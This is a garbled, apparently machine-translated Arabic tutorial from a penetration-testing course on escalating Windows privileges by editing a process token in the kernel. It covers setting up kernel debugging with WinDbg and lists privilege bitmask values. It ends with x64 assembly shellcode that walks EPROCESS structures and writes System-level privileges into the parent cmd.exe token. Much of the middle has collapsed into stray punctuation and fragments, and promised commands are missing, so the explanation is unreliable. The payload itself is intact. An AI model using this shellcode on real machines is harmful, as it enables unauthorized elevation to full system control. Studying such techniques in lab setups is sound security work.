ألكسندر كولسنيكوف خبير OTUS شاركنا بمقال مفيد ، كتبه خصيصًا لطلاب الدورة التدريبية "Pentest. Practice of Penetration Testing" .
نحن بدورنا ندعو الجميع للمشاركة في درس تجريبي مجاني حول موضوع: "مجموعة معلومات Windows AD ، وتصعيد الامتيازات. عمليات الاستغلال ونقاط الضعف في السنوات الخمس الماضية."
ناقشت المقالة السابقة كيفية استخدام الثغرات لتقنية نسخ الرمز المميز لتصعيد الامتيازات. في هذه المقالة ، سنحاول التفكير في أسلوب آخر لتعديل الرموز ، ونحاول أيضًا معرفة كيفية تعيين الامتيازات التي يتم وضعها في الرمز الأساسي.
جميع الأمثلة في المقالة للأغراض الإعلامية فقط ، وإذا كنت ترغب في تكرار التجارب ، فاستخدم جهازًا افتراضيًا ، حيث يمكن لبعض الإجراءات إتلاف جهاز العمل الخاص بك. يتم إجراء جميع التجارب لأغراض البحث فقط.
اختبار إعداد مقاعد البدلاء
بالنسبة للتجارب ، فإن اثنين من الأجهزة الظاهرية التي تعمل عبر شبكة NAT مناسبة. اثنان لأنه لا توجد طريقة أخرى لإجراء تصحيح أخطاء kernel لنظام التشغيل. وشبكة NAT ، بحيث يكون هناك رموز تصحيح الأخطاء ، فمن الأسهل والأسرع البحث عن البيانات بدون رمز المصدر. يتوفر إعداد مصحح الأخطاء على الإنترنت ، ولكن سيظل هناك سطرين أدناه كما هو الحال مع نظام التشغيل Windows 10 1909.
1. قم بتثبيت المصحح. بالنسبة لنظام التشغيل Windows ، لا يوجد سوى Windbg Preview ، قم بتثبيته:
2. ننقل نظام التشغيل الهدف إلى وضع التصحيح:
نعيد تشغيل النظام. وافتح الجهاز الثاني الذي سيحتوي على مصحح الأخطاء:
بعد إعادة تشغيل النظام:
Windbg Preview , . . .
Token
, , , Primary Token. , Se* . , , :
SeAssignPrimaryToken
SeAudit
SeBackup
SeChangeNotify
SeCreateToken
SeDebug
SeLoadDriver
SeLockMemory
SeManageVolume
SeRestore
SeSecurity
SeTakeOwnership
, , . , “Security Descriptor”:
System. — dx @$cursession.Processes[4].KernelObject.Token
EXFAST_REF , , :
System:
, “Security Descriptor” , . :
, , :
- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :
BSOD? , . , :
1. , :
2. cmd.exe
:
3. . :
, . - , - Integrity Levels , .
? . , : 0x1
BSOD , , . , , . , - — 0x100000
.
:
SeDebugPrivilege - 0x100000
SeAuditPrivilege - 0x200000
SeSystemEnvironmentPrivilege - 0x400000
SeCreatePermanentPrivilege - 0x010000
SeSystemtimePrivilege - 0x001000
SeSecurityPrivilege - 0x000100
SeLockMemoryPrivilege - 0x000010
, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.
— System , , .
netstat -ab
, . ? . , Windows , System , :
, , payload :
[BITS 64]
start:
mov r9, [gs:0x188] ;KPROCESS/currentThread
mov r9, [r9+0x220] ;EPROCESS KTHREAD
mov r8, [r9+0x3e8] ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9
loop1:
mov rax, [rax + 0x2f0]
sub rax, 0x2f0 ;KPROCESS
cmp [rax + 0x2e8],r8 ; ProcessId
jne loop1
mov rcx, rax ; PID EPROCESS
add rcx, 0x360
mov rax, [rcx]
and rax, 0xFFFFFFFFFFFFFFF0
mov r8, 0x1e73deff20 ;System
mov [rax+0x48],r8 ;
ret